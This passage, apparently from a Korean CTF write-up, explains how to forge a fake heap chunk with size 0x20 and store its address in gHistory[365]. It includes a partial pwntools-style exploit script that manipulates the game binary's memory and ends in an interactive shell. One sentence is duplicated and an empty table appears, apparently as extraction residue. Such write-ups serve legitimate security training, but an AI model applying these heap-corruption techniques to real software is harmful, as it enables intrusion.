...
- 다음과 같은 구조로 Fake chunk를 생성할 수 있습니다.
- 해당 바이너리의 취약성을 이용해 0x00에 Heap address를 저장한 후 Fake chunk를 가리키도록 해야 합니다아래 조건을 만족하는 Fake chunk address를 gHistory[365]영역에 저장합니다.
- Fake chunk의 size가 0x20
- Fake chunk의 next chunk(next_size) 영역에 값이 있어야 함.
- 해당 바이너리의 취약성을 이용해 0x00에 Heap address를 저장한 후 Fake chunk를 가리키도록 해야 합니다아래 조건을 만족하는 Fake chunk address를 gHistory[365]영역에 저장합니다.
Panel | ||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
- 아래 스크립트를 이용해 Fake chunk의 기본 모형을 만들수 있습니다.
Code Block |
---|
...
#Memory reconstruction
surrender()
surrender()
surrender()
surrender()
surrender()
surrender()
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
Fill('A','S',count)
Fill('A','A',11)
#Fake Chunk
Play('D14')
Play('R8')
#0xXXXX410 -> 0xxxxx550
Fill('A','I',10)
p.interactive() |
...